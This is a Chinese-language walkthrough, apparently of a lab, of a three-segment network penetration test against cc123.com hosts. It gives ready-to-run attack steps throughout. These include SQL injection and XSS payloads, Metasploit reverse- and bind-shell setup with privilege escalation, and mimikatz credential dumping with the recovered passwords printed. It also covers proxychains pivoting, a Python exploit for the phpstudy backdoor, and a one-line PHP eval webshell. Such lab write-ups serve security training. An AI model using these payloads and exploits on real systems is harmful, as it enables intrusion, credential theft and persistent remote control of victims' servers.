文章目录
零、本章所用技术
高质量的多网段的渗透测试完整实例,对三层网段的目标进行检测。
从信息收集->漏洞测试->源代码审计->工具编写->逆向密文->服务器提权->隧道应用->目标获取,
使用工具包括单不限于,
masscan、nmap、wfuzz、中国蚁剑、ILSpy、burpsuite、
gobuster、vs2012、metasploit、sockscap、proxychains3.
一、网络示意图
二、信息收集之端口探测
2.1端口探测
使用masscan扫描,这个比nmap扫描的快,但是没有一些端口详细的信息。
Masscan -p 1-65535 192.168.0.134 --rate=1000
我们可以先用masscan探测存活端口,在使用nmap对存活端口探测详细。
上面一处端口是135,不是13。
-sC 根据端口识别的服务,调用默认脚本,比如445端口就试试永恒之蓝。
-oA 是将扫描结果导出。
2.2探测出的端口服务
,
,
三、信息收集之子域名挖掘
可以使用Onoforall或者挖掘机或者fofa等等。
这里演示就使用kali自带的wfuzz进行爆破子域名。
wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53
hw是过滤的意思。
扫描结果如下:
四、漏洞测试
4.1 dedecms 安全检测
4.1.0 网站指纹识别
先查看当前cms的版本,http://new.cc123.com/data/admin/ver.txt 。
经测试发现会员系统开放注册 http://new.cc123.com/member/
我们随便注册一个用户。账户:asd,123456。
4.1.1 Sql注入
这个dedecms的20150618版本是存在后台注入的。
将cookie与脚本放在一起。
直接使用exp去打命令:“ Python2 exp.py http://new.cc123.com ”
密文812df726be884ddcfc41解密:admin7788
4.1.2 后台GetShell
访问http://new.cc123.com/dede/ 使用账户密码登录。
上传木马,
连接蚁剑。
4.1.3 上传ASPX大马
在终端执行命令失败,一般是权限不足。
上传aspx大马。一般aspx的权限是大于php文件的。
为什么上传aspx大马就能行? 直觉。
我们试着执行命令,发现可以执行。
4.1.4 MSF提权
MSF生成木马,
使用ASPX大马上传,直接上传成功,不成功的话,
就上传一个查询可读可写目录的脚本。
MSF执行监听。
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.0.105
lhost => 192.168.0.105
msf5 exploit(multi/handler) > set lport 12345
lport => 12345
msf5 exploit(multi/handler) > run
在大马那执行命令运行木马。看来还是不行,得换个目录在上传MSF木马。
上传一个查询可读可写文件夹得脚本。上传成功后,我们执行访问查找。
上传MSF木马,
再次执行MSF木马,
查看返回得会话,
此时权限还是比较低。
将当前会话放置后台,启动本地提权查询模块。设置参数session
msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
msf5 post(multi/recon/local_exploit_suggester) > set session 1
sessions => 1
msf5 post(multi/recon/local_exploit_suggester) > run
找到一堆,
一般推荐使用“ ms16_075_reflection_juicy ”。即上图倒数第二个。
执行后,我们直接拿到了system权限。
4.2 WW2网址测试
上一个网址直接拿到system权限,我们就换下一个网址继续。
4.2.1 使域gobuster进行目录扫描
不知道指纹得网站,先扫描一下目录,
gobuster dir -u http://ww2.cc123.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "aspx,html" -o ww2dir
当然使用什么工具都可以。Gobuster是go语言写的一个不错得工具,可以干很多事情。
查看结果,发现后台地址,以及其他一些地址。
4.2.2 前台sql注入
用户名处输入admin’--+1直接进入后台。
这有一个小细节,我们输入的admin’--+1,直接显示到了桌面。猜测存在xss。
我们使用 “ admin'--+<script>alert(1)</script> ”来登录,果然不出所料。
这里还有一个小彩蛋是,我们肯定不是上来就直接试得admin’--+ ;
能这么试的前提是此系统还存在验证码多次使用的缺陷漏洞。
此时,已经可以用sqlmap跑了,但是是延时盲注,先记录此点继续。
4.2.3 前端反馈处xss打cookie
上边我们得知,网站对xss也是没有过滤的。在目录扫描的时候发现一个前台反馈界面。
有个小问题是此页面在火狐正常打开,在谷歌反而打不开。
测试提交,
貌似没有弹窗,我们点进去看看。
直接弹窗
配合xss平台,可以直接打出更大的危改。
4.2.4 后台sql注入
登录处都存在注入,后台基本必定存在。找个地方跑跑。
很自然的就跑出注入。
4.2.5 注入拿shell
查看一下,当前数据库与用户。
爆破当前数据库的admin表格,但是没有什么内容(没有获取到)。
算了,sa用户的话,很大概率可以直接拿shell了,试试。
直接拿到shell,并且是系统最高权限。
查看当前服务器网络信息发现与网站服务器并不是一个。看来是站库分离。
即程序跟数据库不在一个服务器,让这个数据服务器更加的安全,进而数据更加安全。
到此第二个服务器拿下。
4.2.6 后台编辑器漏洞
此时,我们继续看看后台有没有别的东西。
发现后台一个上传点,经过测试是白名单,有点难搞。
继续看看别的地方。还是不行,上周传之后还会重命名,微顶。
但是,在测试过程发现编辑器的身影。
经过信息收集,编辑器信息为“ KindEditor 4.1.7 ”版。
网上查询相关漏洞,发现修改“ dir=file ”可以上传html,但是无法上传脚本文件。
好吧,微微鸡肋的洞,通过此漏洞可以造成挂黑页,与存储型xss。
上传一个弹cookie的html测试。
访问上传页面,弹窗cookie。
4.2.7 简单代码审计之前端xss
到此后台都逛了逛,没什么有意思的事情,我们去MSF看看前台源代码。
采用蚁剑配合msf寻找网站根目录,
看到一个mystat.aspx 文件。
看看源码,
meterpreter > cat mystat.aspx
<%@ page language="c#" runat="server" %>
<script language="c#" runat="server">
public string strStyle;
public string strtheurl;
public void Page_Load(Object src,EventArgs e)
{
NameValueCollection ServerVariables = Request.ServerVariables;
strStyle=Request.QueryString["style"];
strtheurl=ServerVariables["URL"].ToString();
strtheurl=strtheurl.Substring(0,strtheurl.IndexOf("mystat.aspx",0,strtheurl.Length));
strtheurl="http://"+ServerVariables["HTTP_HOST"].ToString()+strtheurl;
}
</script>
document.write("<script>var style='<%=strStyle%>';var url='<%=strtheurl%>';</script>")
_dwrite("<script language=javascript src="+url+"stat.aspx?style="+style+"&referer="+escape(document.referrer)+"&screenwidth="+(screen.width)+"></script>");
function _dwrite(string) {document.write(string);}
我们发现这个style参数可控,且没有任何过滤,
上来直接一把梭哈,http://ww2.cc123.com/mystat.aspx?style=%27;(prompt)``//
4.2.8 逆向分析dll文件
继续看看别的文件,发现一些文件内容都很少,这是遇到伪静态页面处理了。
可以结合网站根目录下的配置文件判断,内容代码一般都在bin目录下。
看看bin目录,发现大量dll文件。
将源代码都下载下来。
将文件拖到主机上,
直接用记事本打开是 乱码的,
此时可以用一个逆向dll文件的工具,来看看源代码。
4.2.9 解密软件的编写
一个小知识点是网站根目录下的配置文件一定要看看。
不出意外,找到连接数据库的账户密码,
key="ConnectionString" value="server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123.."
使用我们的大马可以直接进行连接,
找到我们之前用sqlmap没有跑出的账户密码,但是直接md5是无法破解的。
admin AE5F6187F32825CA
cc123 B97C57DB005F954242450A255217DA9F
去看看源码,找一下加密解密代码。将后台登录。
找到login,找到此 dll 文件。
看到是调用了一个类,传入两个参数,
查看一下此类,
加密类旁边就是解密类,具体内容如下:
// StringClass
public static string Decrypt(string pToDecrypt, string sKey)
{
DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
byte[] array = new byte[pToDecrypt.Length / 2];
for (int i = 0; i < pToDecrypt.Length / 2; i++)
{
int num = Convert.ToInt32(pToDecrypt.Substring(i * 2, 2), 16);
array[i] = (byte)num;
}
dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);
dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
new StringBuilder();
return Encoding.Default.GetString(memoryStream.ToArray());
}
貌似我们只需要传入需要解密的字符串与key就行了,key可以在上边找到。
打开VS 2012,创建一个新项目。
编写外观及其使用窗体:
.
接着双击“解密按钮”来将上面“ 解密类 ”的代码粘贴进去。
爆红代码,解析导出。
完成“ 解密按钮 ”的代码编写。
测试效果,
,
admin AE5F6187F32825CA cc123
cc123 B97C57DB005F954242450A255217DA9F qweasd123
4.3 内网横向渗透
Ok,到上面。我们已经拿下web服务器与数据库服务器。
4.3.1 获取hash与明文密码。
返回msf首先就是要迁移进程,但是这里有个小坑。
一般迁移进程都是迁移到系统进程“ explorer.exe ”,即任务管理器中。
但是此时web服务器ps查看,explorer.exe 并不是 系统权限进程,
不然还需要提权,或者bypass UAC,因为administrator权限还是存在部分限制。
我们迁入一个系统服务进程中 “ migrate 2608 ”。
第一次迁移失败,提示该进程已经不存在,那就换个。
Run hashdump来获取一下hash,
来加载mimikatz来尝试读取明文密码。
mimikatz_command -f sekurlsa::searchPasswords
得到管理员的账户密码“ Administrator !@#Qwe123. ”
有时候,抓到hash但是抓不到明文密码的时候,可以去在线网站破解
如:http://www.objectif-securite.ch/
4.3.2 配置路由及代理
通过ipconfig与run get_local_subnets来看看当前机器所处的网段。
用run autoroute -s 10.10.10.0/24 添加路由进行内网渗透。
用run autoroute -p来查看是否添加成功,
启动 socks 代理,use auxiliary/server/socks4a
我们先看看此时能不能访问数据服务器(10.10.10.136)
此时在,修改proxychains配置文件“ sudo vim /etc/proxychains.conf ”。
成功扫描,
扫描完成:proxychains nmap -sT -Pn 10.10.10.136
扫描完毕这些端口,其实就可以
4.3.3 让数据服务器上线msf
此时,数据服务不能出网。
思路是生成msf木马上传到数据服务器,msf正向连接木马。
当然,搭建隧道的话也可以,这个后边回说。
下边是生成正向连接木马命令,
msfvenom -p windows/meterpreter/bind_tcp Lport=13777 -f exe > bind.exe
通过aspx大马进行上传,
等待一会,上传成功。
我们手动执行上传的木马,
切换监听的payload,因为上边我们攻击web服务器是反弹会话,
此时的payload还是反弹会话的,所以我们要切换。
配置完成。
进行正向连接,攻击成功。
4.3.4 获取数据服务器的hash与明文密码
使用猕猴桃获取hash与明文需要注意:
mimikatz模块的使用需要Administrator权限或者System权限。
MSF中自带mimikatz模块,MSF中的 mimikatz 模块同时支持32位和64位的系统,
但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,
直接默认加载该模块会导致很多功能无法使用。
而且在64位系统下必须先查看系统进程列表,
然后将meterpreter进程迁移到一个64位程序的进程中,
才能加载mimikatz并且查看系统明文。但是在32位系统下则没有这个限制。
使用命令:hashdump
使用命令: mimikatz_command -f sekurlsa::searchPasswords
4.3.5 配置数据服务器路由及其代理
在msf中新增路由
Run get_loacl_subnets
run autoroute -s 10.10.1.0/24
run autoroute -p
这里的话,代理上边已经配置过了,就不用再次配置了。
使用nmap测试一下。
我们使用代理来访问80端口,
4.3.6 编写PHP study利用py脚本
从页面中,我们发现这是一个2014版本的phpstudy,在之前爆出的后门版本中属于受害者。
Exp:
import requests
import sys
import base64
shell = "system('" + sys.argv[1] + "');"
shell_base64 = base64.b64encode(shell.encode('utf-8'))
url = "http://10.10.1.129/"
headers={'Accept-Encoding':'gzip,deflate','accept-charset':shell_base64}
html = requests.get(url=url,headers=headers).text
print(html)
但是这么看,有点难受。我们使用正则匹配仅仅输出执行的命令。
Exp:
import requests
import sys
import base64
import re
shell = "system('" + sys.argv[1] + "');"
shell_base64 = base64.b64encode(shell.encode('utf-8'))
url = "http://10.10.1.129/"
headers={'Accept-Encoding':'gzip,deflate','accept-charset':shell_base64}
html = requests.get(url=url,headers=headers).text
re_shell = re.findall(r"(.+?)<!DOCTYPE",html,re.S)
for i in re_shell:
print(i)
写入shell,
proxychains python3 a.py "echo ^<?php @eval(\$_REQUEST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php"
4.3.7 SocksCap64 设置本机代理
我们新增一个代理。
顺手将菜刀拖进来。
测试能否代理,是可以的。
我们来添加,连接一波。
Ok,顺利上线。
4.3.8 将最后的web服务器上线msf
将刚刚msf生成的bind.exe拖到本机来,通过菜刀上传。
手动运行木马,
Msf启动正向连接,进行设置。
连接测试。
到此,三台机器全被拿下。
老规矩,先看看hash与明文。不过先要迁移应用。
然后hashdump直接整出来机器hash。
我们加载猕猴桃,读取本地明文密码。
我们进入目标主机shell,看看还有没有其他机器。
Ok,完活。
五、总结(常规二段内网)
5.1 外网服务器
通过信息收集到目标站点是dedecms,通过注入拿下后台,进而getshell。
权限不太够,上传aspx大马,进而上传msf木马,提权。
5.2 数据库服务器
翻找网站配置信息发现数据库账户,通过大马直接连接。
增加路由搭建代理,上传msf正向木马到数据库服务器,成功上线msf,
5.3 内网服务器
在数据库服务器上继续增加路由(此时不用在配置代理了),扫描最后一台主机,
通过phpstudy后门拿下,写马,本机通过代理连接菜刀。
用过菜刀上传msf木马,成功上线msf。